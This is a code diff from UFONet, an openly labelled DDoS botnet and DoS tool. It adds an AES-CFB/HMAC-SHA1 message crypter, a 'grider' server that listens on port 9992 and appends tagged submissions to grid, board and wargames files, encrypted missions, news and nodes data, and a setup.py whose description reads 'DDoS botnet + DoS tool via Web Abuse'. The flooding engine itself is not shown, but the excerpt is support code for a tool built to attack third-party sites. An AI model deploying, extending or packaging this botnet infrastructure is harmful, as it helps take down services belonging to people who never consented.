+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+################################################################### 
+# Code extracted from project: AnonTwi (anontwi.03c8.net)
+###################################################################
+
+KEY_SIZE = 32
+BLOCK_SIZE = 16
+MAC_SIZE = 20
+
+from os import urandom
+from hashlib import sha1, sha256
+from Crypto.Cipher import AES
+from base64 import b64encode, b64decode
+
+trans_5C = "".join([chr (x ^ 0x5c) for x in xrange(256)])
+trans_36 = "".join([chr (x ^ 0x36) for x in xrange(256)])
+
+def hmac_sha1(key, msg):
+    if len(key) > 20:
+        key = sha1(key).digest()
+    key += chr(0) * (20 - len(key))
+    o_key_pad = key.translate(trans_5C)
+    i_key_pad = key.translate(trans_36)
+    return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
+
+def derive_keys(key):
+    h = sha256()
+    h.update(key)
+    h.update('cipher')
+    cipher_key = h.digest()
+    h = sha256()
+    h.update(key)
+    h.update('mac')
+    mac_key = h.digest()
+    return (cipher_key, mac_key)
+
+def generate_key():
+    return b64encode(urandom(KEY_SIZE))
+
+class Cipher(object):
+    def __init__(self, key="", text=""):
+        self.block_size = 16
+        self.mac_size = 20
+        self.key = self.set_key(key)
+        self.text = self.set_text(text)
+        self.mode = AES.MODE_CFB
+  
+    def set_key(self, key):
+        try:
+            key = b64decode(key)
+        except TypeError:
+            raise ValueError
+        self.key = key
+        return self.key
+
+    def set_text(self, text):
+        self.text = text 
+        return self.text
+
+    def encrypt(self):
+        if BLOCK_SIZE + len(self.text) + MAC_SIZE > 105:
+            self.text = self.text[:105 - BLOCK_SIZE - MAC_SIZE]
+        (cipher_key, mac_key) = derive_keys(self.key)
+        iv = urandom(BLOCK_SIZE)
+        aes = AES.new(cipher_key, self.mode, iv)
+        ciphertext = aes.encrypt(self.text)
+        mac = hmac_sha1(mac_key, iv + ciphertext)
+        return b64encode(iv + ciphertext + mac)
+
+    def decrypt(self):
+        try:
+            iv_ciphertext_mac = b64decode(self.text)
+        except TypeError:
+            return None
+        iv = iv_ciphertext_mac[:BLOCK_SIZE]
+        ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
+        mac = iv_ciphertext_mac[-MAC_SIZE:]
+        (cipher_key, mac_key) = derive_keys(self.key)
+        expected_mac = hmac_sha1(mac_key, iv + ciphertext)
+        if mac != expected_mac:
+            return None
+        aes = AES.new(cipher_key, self.mode, iv)
+        return aes.decrypt(ciphertext)
+
+if __name__ == "__main__":
+    print "\nUFONet Crypter (AES256+HMAC-SHA1) -> (140 plain text chars = 69 encrypted chars)\n"
+    text = str(raw_input("- Enter text: "))
+    input_key = str(raw_input("- Enter key: "))
+    key = b64encode(input_key)
+    c = Cipher(key, text)
+    msg = c.encrypt()
+    c.set_text(msg)
+    print '\n-> Ciphertext: [', msg, ']'
+    print '\nLength:', len(msg)
+    print '\n-> Key (share it using SNEAKNET!):', input_key
+    print '\nDecryption PoC:', c.decrypt(), "\n"

+ 0 - 0
server/grid.txt


+ 181 - 0
server/grider.py

@@ -0,0 +1,181 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - (DDoS botnet + DoS tool) via Web Abuse - 2017/2018 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import socket
+import re
+import time
+import string
+import sys
+import urlparse
+import os
+import traceback
+from threading import *
+
+class Paster(Thread):
+    def __init__(self, parent):
+        Thread.__init__(self)
+        self.parent = parent
+        self.active = False
+        self.sock = None
+        self.clean = False
+
+    def run( self ):
+        conn = None
+        addr = None
+        self.sock = self.parent.try_bind(9992)
+        if self.sock is not None:
+            self.sock.listen(1)
+            print '[Paster] clean on port 9992'
+            self.clean = True
+        else:
+            print '[Paster ERROR] no paste on port 9992'
+        while self.clean:
+            try:
+                conn,addr = self.sock.accept()
+                print '[Paster] Got copy from', addr
+            except socket.timeout:
+                pass
+            except socket.error, e:
+                if self.clean == False:
+                    print "[Paster] Socket Error /return : "+str(e)
+                    return
+                else:
+                    print "[Paster] Socket Error /break : "+str(e)
+                    break
+            else:
+                data = conn.recv(4096)
+                if data :
+                    l=len(data)
+                    print "[DEBUG] received data : "+data+"/"+str(l)+"/"+str(data.find("\n"))
+                    if data.find('\n')==-1 and data.find('\r')==-1:
+                        if data.find("#?#")!=-1:
+                            print "[DEBUG] adding to grid"
+                            fc=open(self.parent.target_dir+"grid.txt","a")
+                            fc.write(data+"\n")
+                            fc.close()
+                        elif data.find("#!#")!=-1:
+                            print "[DEBUG] adding to board"
+                            fc=open(self.parent.target_dir+"board.txt","a")
+                            fc.write(data+"\n")
+                            fc.close()
+                        elif data.find("#-#")!=-1:
+                            print "[DEBUG] adding to wargames"
+                            fc=open(self.parent.target_dir+"wargames.txt","a")
+                            fc.write(data+"\n")
+                            fc.close()
+                    conn.close()
+        print '[Paster] done'
+        self.sock.close()
+        
+class Grider ( Thread ):
+    def __init__(self):
+        Thread.__init__( self )
+        self.daemon = True
+        self.awake = True
+        self.tmp_dir = "/tmp/"
+        self.target_dir = '/var/www/ufonet/' 
+        self.blackray = None
+        self.absorber = None
+        self.computer = None
+
+    def dream(self):
+        if not os.path.exists(self.target_dir+"grid.txt"):
+            grid_fail = 0
+            try:
+                fc = open(self.target_dir+'grid.txt', 'wb')
+                fc.close()
+            except:
+                print "[Error] no grid.txt file in "+self.target_dir
+                grid_fail = grid_fail + 1
+        else:
+            grid_fail = 0
+        if not os.path.exists(self.target_dir+"board.txt"):
+            board_fail = 0
+            try:
+                fc = open(self.target_dir+'board.txt', 'wb')
+                fc.close()
+            except:
+                print "[Error] no board.txt file in "+self.target_dir
+                board_fail = board_fail + 1
+        else:
+            board_fail = 0
+        if not os.path.exists(self.target_dir+"wargames.txt"):
+            wargames_fail = 0
+            try:
+                fc = open(self.target_dir+'wargames.txt', 'wb')
+                fc.close()
+            except:
+                print "[Error] no wargames.txt file in "+self.target_dir
+                wargames_fail = wargames_fail + 1
+        else:
+            wargames_fail = 0
+        if not os.access(self.target_dir+"grid.txt",os.W_OK):
+            print "[Error] write access denied for grid file in "+self.target_dir
+            grid_fail = grid_fail + 1
+        if not os.access(self.target_dir+"board.txt",os.W_OK):
+            print "[Error] write access denied for board file in "+self.target_dir
+            board_fail = board_fail + 1
+        if not os.access(self.target_dir+"wargames.txt",os.W_OK):
+            print "[Error] write access denied for wargames file in "+self.target_dir
+            wargames_fail = wargames_fail + 1
+        if grid_fail > 0 and board_fail > 0 and wargames_fail > 0:
+            print "[Error] grid, board and wargames are unuseable. Aborting..."
+            sys.exit(2)
+        self.paster = Paster(self)
+        self.awake = False
+        print "[Grider] Having sweet dreams..."
+
+    def try_bind(self, port):
+        s=None
+        try:
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(10)
+            s.bind(('', port))
+        except socket.error as e:
+            if e.errno == 98: # if is in use wait a bit and retry
+                time.sleep(3)
+                return self.try_bind(port)
+            print("[Grider Warning] socket busy, connection failed on port " + str(port))
+        return s
+
+    def run(self):
+        self.dream()
+        try:
+            self.paster.start()
+            if self.paster.clean:
+                print "[Grider] Advancing time in another space (waiting for server)"+os.linesep
+                time.sleep(1)
+            while self.paster.clean:
+                print "[Grider] Advancing time in another space (waiting for server)"+os.linesep
+                time.sleep(1)
+            print "\n[Grider] sheets are all up and ready"
+            while self.paster.clean:
+                time.sleep(1)
+        except:
+            traceback.print_exc()
+        self.cut()
+        print "[Grider] finished"
+        
+    def cut(self):
+        self.paster.clean=False
+        self.paster.join()
+
+if __name__ == "__main__":
+    try:
+        print("\nInitiating copy/paste functions ...\n")
+        print '='*22 + '\n'
+        app = Grider()
+        app.start()
+        while True: time.sleep(1)
+    except KeyboardInterrupt:
+        print("\nTerminating copy/paste functions...\n")
+        app.cut()
+    except Exception, e:
+        traceback.print_exc()
+        print ("\n[Error] - Something wrong trying to copy/paste to the grid...!\n")

+ 4 - 0
server/missions.txt

@@ -0,0 +1,4 @@
+teb8Cbc0WDn/IZJZ6bUF5ke1e0whULx5iN0sLlG86WotTvd5X96MqtOahayNsFzKvEfmhgCmZD/6me2ZPgDx0jcANVpu/XkIOJXrDFKza2Ef3jDyzmy609Z0iJuVh/+1IPiVY9r2MA==
+dsyI287GTV5YJTq0U1O12PRBowzXiveZHc3kC50jqzMknhcQVuIlxhEc0FO7IMRwtR+gg4y6MGN8XHo3TntDkGG+HD2S8squq4tzepGBtv/P8I64elPLLiA2qs5WwCf/
+fxxodvlfCNf4mg5EK0IjF9b17+sefC6GJjHkprJsj7TMrJWiAw+U+j/TiaMKXFsFPIGxCNvOn7s97K2VGRsyx2V2mxqiEhS5olWyfarhIzFR3Pw4zEAPmUAPxzo=
+31P29ZQHztpTXw+/yXG+u8nlyIAq2jYDamcYlfiyT9mLMnJs9qC9vHLjwBoW4bvgZQWHQ902lo9wTg==

+ 1 - 0
server/news.txt

@@ -0,0 +1 @@
+DMjim/lv6y6R+BnWRXOjui0AgslGXoEGtt5k0F9ZtSmErYSLZwh4FUz3WrBYycknsLfeLOzqVPAXv3X65iaTIbCs

+ 1 - 0
server/nodes.dat

@@ -0,0 +1 @@
+IPuNKvAwgUZ6mUcWnQbWzTsZcyyuJVHcLaNBw4HG2L4NACvMdvNVa6Cr5WeI89jq9QW+tU+oaU8wQWngxqin9JXjQV+T0GrMtLhL8UzE0nZTOYS7l1s=

+ 0 - 0
server/wargames.txt


+ 49 - 0
setup.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+import sys
+
+if sys.version_info[0] != 2:
+    sys.exit("Sorry, UFONet requires Python >= 2.7.9")
+    
+from setuptools import setup, find_packages
+
+setup(
+    name='ufonet',
+    version='1.0',
+    license='GPLv3',
+    author_email='epsylon@riseup.net',
+    author='psy',
+    description='(DDoS botnet + DoS tool) via Web Abuse',
+    url='https://ufonet.03c8.net/',
+    long_description=open('docs/README.txt').read(),
+    packages=find_packages(),
+    install_requires=['GeoIP >= 1.3.2', 'pygeoip >= 0.3.2', 'requests', 'pycrypto >= 2.6.1', 'pycurl >= 7.19.5.1', 'python-whois >= 0.6.5'],
+    include_package_data=True,
+    package_data={
+        'core': ['images/*', 'js/*.css', 'js/*.js', 'js/leaflet/*.css', 'js/leaflet/*.js', 'js/leaflet/images/*', 'js/cluster/*', 'txt/*.txt'],
+        'server': ['*.dat', '*.txt'],
+    },
+    entry_points={
+        'console_scripts': [
+            'ufonet=UFONet:core.main',
+        ],
+        'gui_scripts': [
+            'ufonet=UFONet:core.main',
+        ],
+    },
+    keywords='DDoS Botnet WebAbuse UFONet',
+    classifiers=[
+        'Development Status :: 5 - Production/Stable',
+        "Environment :: Web Environment",
+        "Environment :: Console", 
+        "Intended Audience :: System Administrators",
+        "Intended Audience :: Science/Research",
+        "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
+        "Operating System :: OS Independent",
+        "Programming Language :: Python",
+        'Programming Language :: Python :: 2.7',
+        "Topic :: Internet", 
+        "Topic :: Security", 
+        "Topic :: System :: Networking",
+      ],
+      zip_safe=False
+)

+ 16 - 0
ufonet

@@ -0,0 +1,16 @@
+#!/usr/bin/env python 
+# -*- coding: utf-8 -*-"
+"""
+UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015/2016 - by psy (epsylon@riseup.net)
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+from core.main import UFONet
+
+if __name__ == "__main__":
+    app = UFONet()
+    options = app.create_options()
+    if options:
+        app.run()